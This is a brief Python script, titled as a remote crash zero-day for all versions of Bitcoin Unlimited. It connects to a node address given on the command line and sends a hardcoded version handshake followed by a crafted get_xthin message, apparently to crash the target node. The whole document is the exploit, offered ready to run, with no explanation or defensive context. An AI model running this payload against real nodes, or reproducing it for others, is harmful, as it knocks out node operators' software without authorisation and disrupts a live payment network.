Remote Crash 0day Bitcoin Unlimited all versions

#!/usr/bin/env python
import binascii
import socket
import time
import sys
import argparse

BUFFER_SIZE = 1024
VERSION = binascii.unhexlify("f9beb4d976657273696f6e00000000006600000023c22f307e110100000000000000000040dbc75800000000000000000000000000000000000000000000ffffad61bfae208d000000000000000000000000000000000000ffff0000000000002747310f6a3c90b9102f5361746f7368693a302e31332e312fbff9060000")
GET_XTHIN = binascii.unhexlify("f9beb4d96765745f787468696e00000050000000738a98c80200000000000000000000000000000000000000000000000000000000000000000000002200000000000000000000000000000000000000000000000000000000000000000000120000000000000001")

if len(sys.argv) > 2:
    TCP_PORT = int(sys.argv[2])
    TCP_IP = sys.argv[1]
elif len(sys.argv) > 1:
    TCP_PORT = 8333
    TCP_IP = sys.argv[1]
else:
    print "Usage: %s ip [port]" % sys.argv[0]
    exit(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(VERSION)

data = s.recv(BUFFER_SIZE)
time.sleep(1)

s.send(GET_XTHIN)
time.sleep(1)
s.close()

print "received data:", data